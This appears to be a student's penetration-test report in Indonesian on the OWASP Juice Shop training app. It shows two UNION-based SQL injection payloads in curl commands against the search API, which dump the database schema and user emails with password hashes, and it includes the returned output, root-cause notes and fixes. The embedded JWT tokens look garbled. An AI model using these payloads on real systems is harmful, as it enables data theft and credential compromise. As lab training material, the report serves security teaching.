

Nama: Rhesa Daiva Bremana

1. Menampilkan metadata database melalui SQL Injection dari API Search

POC:

```
curl --location
```

```
http://localhost:3000/rest/products/search?q=walwae%27))%20union%20all%20select%20
1%2C2%2C3%2Csql%2C5%2C6%2C7%2C8%2C9%20from%20sqlite_master%20--%20' \
--header 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101
Firefox/141.0' \
--header 'Accept: application/json, text/plain, */*' \
--header 'Accept-Language: en-US,en;q=0.5' \
--header 'Accept-Encoding: gzip, deflate, br, zstd' \
--header 'Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXRzliwiZGF0YSI6eyJpZCI6
MSwidXNlcm5hbWUiOiIiLCJlbWVpbCI6ImFkbWluQGp1aWNlXNoLm9wliwicGFzc3dvcmlQIiIw
MTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbilsmRlbHV4Z
VRva2VuljoiliwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltY
Wdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiliwiaXNBY3RpdmlU
OnRydWUsImNyZWFOZWRBdCI6IjIwMjU0MTU0MDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbnVw
ZGF0ZWRBdCI6IjIwMjU0MTU0MDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbnVwZGF0ZWRBdCI6
bnVsbH0sImhhdCI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbembibjhMAB0RV-
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRy0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV6
6ngM2I-yUbsRQkZ5ttnHLZUQLKTH0LS1pbo4JfCy5imOldqQ6DwUZHU6RYkufs' \
--header 'Connection: keep-alive' \
--header 'Referer: http://localhost:3000/' \
--header 'Cookie: language=en; welcomebanner_status=dismiss;
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXRzliwiZGF0YSI6eyJp
ZCI6MSwidXNlcm5hbWUiOiIiLCJlbWVpbCI6ImFkbWluQGp1aWNlXNoLm9wliwicGFzc3dvc
mQIiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbilsmRl
bHV4ZVRva2VuljoiliwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibG
ljl2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiliwiaXNBY3Rp
dmU0OnRydWUsImNyZWFOZWRBdCI6IjIwMjU0MTU0MDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbnVw
ZGF0ZWRBdCI6IjIwMjU0MTU0MDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbnVwZGF0ZWRBdCI6
bnVsbH0sImhhdCI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbembibjhMAB0RV-
rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRy0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV6
6ngM2I-yUbsRQkZ5ttnHLZUQLKTH0LS1pbo4JfCy5imOldqQ6DwUZHU6RYkufs;
continueCode=rozjEoymrJLQPMX7aW6e5klOnALDfQOunvA12VZwBv3DYK8zp9NxrRq4bPEJ'
\
--header 'Sec-Fetch-Dest: empty' \
--header 'Sec-Fetch-Mode: cors' \
--header 'Sec-Fetch-Site: same-origin' \
--header 'If-None-Match: W/"354c-6d1xlK0oc7Grgby0zEAm9JOeaa0"'
```

Screenshot:

```

57         "deletedAt": 9
58     },
59     {
60         "id": 1,
61         "name": 2,
62         "description": "Products",
63         "price": "CREATE TABLE 'Products' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'name' VARCHAR(255), 'description' VARCHAR(255),
        'price' DECIMAL, 'deluxePrice' DECIMAL, 'image' VARCHAR(255), 'createdAt' DATETIME NOT NULL, 'updatedAt' DATETIME NOT
        NULL, 'deletedAt' DATETIME)",
64         "deluxePrice": 5,
65         "image": 6,
66         "createdAt": 7,
67         "updatedAt": 8,
68         "deletedAt": 9
69     },
70     {
71         "id": 1,
72         "name": 2,
73         "description": "BasketItems",
74         "price": "CREATE TABLE 'BasketItems' ('ProductId' INTEGER REFERENCES 'Products' ('id') ON DELETE CASCADE ON UPDATE CASCADE,
        'BasketId' INTEGER REFERENCES 'Baskets' ('id') ON DELETE CASCADE ON UPDATE CASCADE, 'id' INTEGER PRIMARY KEY
        AUTOINCREMENT, 'quantity' INTEGER, 'createdAt' DATETIME NOT NULL, 'updatedAt' DATETIME NOT NULL, UNIQUE ('ProductId',
        'BasketId'))",
75         "deluxePrice": 5,
76         "image": 6,

```

```

94         "name": 2,
95         "description": "Captchas",
96         "price": "CREATE TABLE 'Captchas' ('id' INTEGER PRIMARY KEY AUTOINCREMENT, 'captchaId' INTEGER, 'captcha' VARCHAR(255),
        'answer' VARCHAR(255), 'createdAt' DATETIME NOT NULL, 'updatedAt' DATETIME NOT NULL)",
97         "deluxePrice": 5,
98         "image": 6,
99         "createdAt": 7,
100        "updatedAt": 8,
101        "deletedAt": 9
102    },
103    {
104        "id": 1,
105        "name": 2,
106        "description": "Cards",
107        "price": "CREATE TABLE 'Cards' ('UserId' INTEGER REFERENCES 'Users' ('id') ON DELETE NO ACTION ON UPDATE CASCADE, 'id' INTEGER
        PRIMARY KEY AUTOINCREMENT, 'fullName' VARCHAR(255), 'cardNum' INTEGER, 'expMonth' INTEGER, 'expYear' INTEGER, 'createdAt'
        DATETIME NOT NULL, 'updatedAt' DATETIME NOT NULL)",
108        "deluxePrice": 5,
109        "image": 6,
110        "createdAt": 7,
111        "updatedAt": 8,
112        "deletedAt": 9
113    },
114    {

```

Root Cause Analysis:

1. Input search tidak di validasi dan sanitasi sehingga user bisa mengirimkan query untuk mengambil data masternya
2. Penggunaan string concatenation dalam query, sehingga penyerang bisa memasukkan karakter atau kode SQL khusus (misalnya, tanda kutip ' , tanda komentar --, atau operator logika seperti OR) untuk mengubah perilaku query.
3. Kurangnya Pembatasan Hak Akses Pengguna di Database, sehingga ketika penyerang dapat mengeksploitasi SQL Injection, dan aplikasi menggunakan akun database dengan hak akses administrator atau akses yang sangat luas, penyerang bisa merusak data, mengakses informasi sensitif, atau bahkan mengambil alih seluruh database.

Rekomendasi Perbaikan:

1. Sanitize input dari user, validasi untuk tidak menggunakan karakter-karakter yang dilarang.
2. Gunakan parameterized query
3. Hindari penggunaan string concatenation
4. Batasi hak akses user di database.

2. Mengambil semua *user credentials*.

```
--location  
'http://localhost:3000/rest/products/search?q=walwae%27))%20union%20all%20select%20  
1%2C2%2Cusername%2Cemail%2Cpassword%2C6%2C7%2C8%2C9%20from%20users%20--  
%20' \  
--header 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101  
Firefox/141.0' \  
--header 'Accept: application/json, text/plain, */*' \  
--header 'Accept-Language: en-US,en;q=0.5' \  
--header 'Accept-Encoding: gzip, deflate, br, zstd' \  
--header 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXRnZiwiZWZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIlLCJlbWFpbGlmbFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvcmQlOiBMTkyMDIzYTdiYmQzMzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUlOiJhZG1pbiIsImRlbHV4ZVRva2VuljoiliwibGFzdExvZ2luSXAiOiIlLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHViOGljL2ltYWdlcy91cGxvYWRzL2RIZmF1bHRBG1pbi5wbmcilLCJ0b3RwU2VjcmV0IjoiliwiaXNB3RpdmUiOnRydWUsImNyZWZF0ZWRBdCI6IjIwMjUtMTETMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMTETMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbnVsbH0slmlhdCI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAbORV-rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRY0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV66ngM2l-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZHU6RYkufs' \  
--header 'Connection: keep-alive' \  
--header 'Referer: http://localhost:3000/' \  
--header 'Cookie: language=en; welcomebanner_status=dismiss;  
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXRnZiwiZWZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIlLCJlbWFpbGlmbFkbWluQGp1aWNILXNoLm9wliwicGFzc3dvcmQlOiBMTkyMDIzYTdiYmQzMzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUlOiJhZG1pbiIsImRlbHV4ZVRva2VuljoiliwibGFzdExvZ2luSXAiOiIlLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHViOGljL2ltYWdlcy91cGxvYWRzL2RIZmF1bHRBG1pbi5wbmcilLCJ0b3RwU2VjcmV0IjoiliwiaXNB3RpdmUiOnRydWUsImNyZWZF0ZWRBdCI6IjIwMjUtMTETMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMTETMDQgMDI6MDg6MjYuMjY1ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbnVsbH0slmlhdCI6MTc2MjlyMjE4Nn0.OcCHF2hcaY1MnUMPozwYbemibjhMAbORV-rJmtUt7AwfpEFnKMN917Qy6r73xBC88rwNkwIRFHRY0rLSFLPaJ4jETdwiByBKjFDdoG62FvKV66ngM2l-yUbsRQkZ5ttnHLZUQLkTH0LS1pbo4JfCy5imOldqQ6DwUZHU6RYkufs;  
continueCode=rozjEoymrJLQPMX7aW6e5klOnALdfQOunvA12VZwBv3DYK8zp9NxgRq4bPEJ'  
\   
--header 'Sec-Fetch-Dest: empty' \  
--header 'Sec-Fetch-Mode: cors' \  
--header 'Sec-Fetch-Site: same-origin' \  
--header 'If-None-Match: W/"354c-6d1xIK0oc7Grgby0ZEAm9JOeaa0"'
```

Screenshot:

```

1  {
2    "status": "success",
3    "data": [
4      {
5        "id": 1,
6        "name": 2,
7        "description": "",
8        "price": "admin@juice-sh.op",
9        "deluxePrice": "0192023a7bbd73250516f069df18b500",
10       "image": 6,
11       "createdAt": 7,
12       "updatedAt": 8,
13       "deletedAt": 9
14     },
15     {
16       "id": 1,
17       "name": 2,
18       "description": "",
19       "price": "jim@juice-sh.op",
20       "deluxePrice": "e541ca7ecf72b8d1286474fc613e5e45",
21       "image": 6,
22       "createdAt": 7,
23       "updatedAt": 8

```

```

{
  "id": 1,
  "name": 2,
  "description": "",
  "price": "bender@juice-sh.op",
  "deluxePrice": "0c36e517e3fa95aabf1bbffc6744a4ef",
  "image": 6,
  "createdAt": 7,
  "updatedAt": 8,
  "deletedAt": 9
},
{
  "id": 1,
  "name": 2,
  "description": "bkimminich",
  "price": "bjoern.kimminich@gmail.com",
  "deluxePrice": "6edd9d726cbdc873c539e41ae8757b8c",
  "image": 6,
  "createdAt": 7,
  "updatedAt": 8,
  "deletedAt": 9
}
}

```

Root Cause Analysis:

1. Input search tidak di validasi dan sanitasi sehingga user bisa mengirimkan query untuk mengambil data masternya
2. Penggunaan string concatenation dalam query, sehingga penyerang bisa memasukkan karakter atau kode SQL khusus (misalnya, tanda kutip ', tanda komentar --, atau operator logika seperti OR) untuk mengubah perilaku query.

3. Kurangnya Pembatasan Hak Akses Pengguna di Database, sehingga ketika penyerang dapat mengeksploitasi SQL Injection, dan aplikasi menggunakan akun database dengan hak akses administrator atau akses yang sangat luas, penyerang bisa merusak data, mengakses informasi sensitif, atau bahkan mengambil alih seluruh database.

Rekomendasi Perbaikan:

1. Sanitize input dari user, validasi untuk tidak menggunakan karakter-karakter yang dilarang.
2. Gunakan parameterized query
3. Hindari penggunaan string concatenation
4. Batasi hak akses user di database.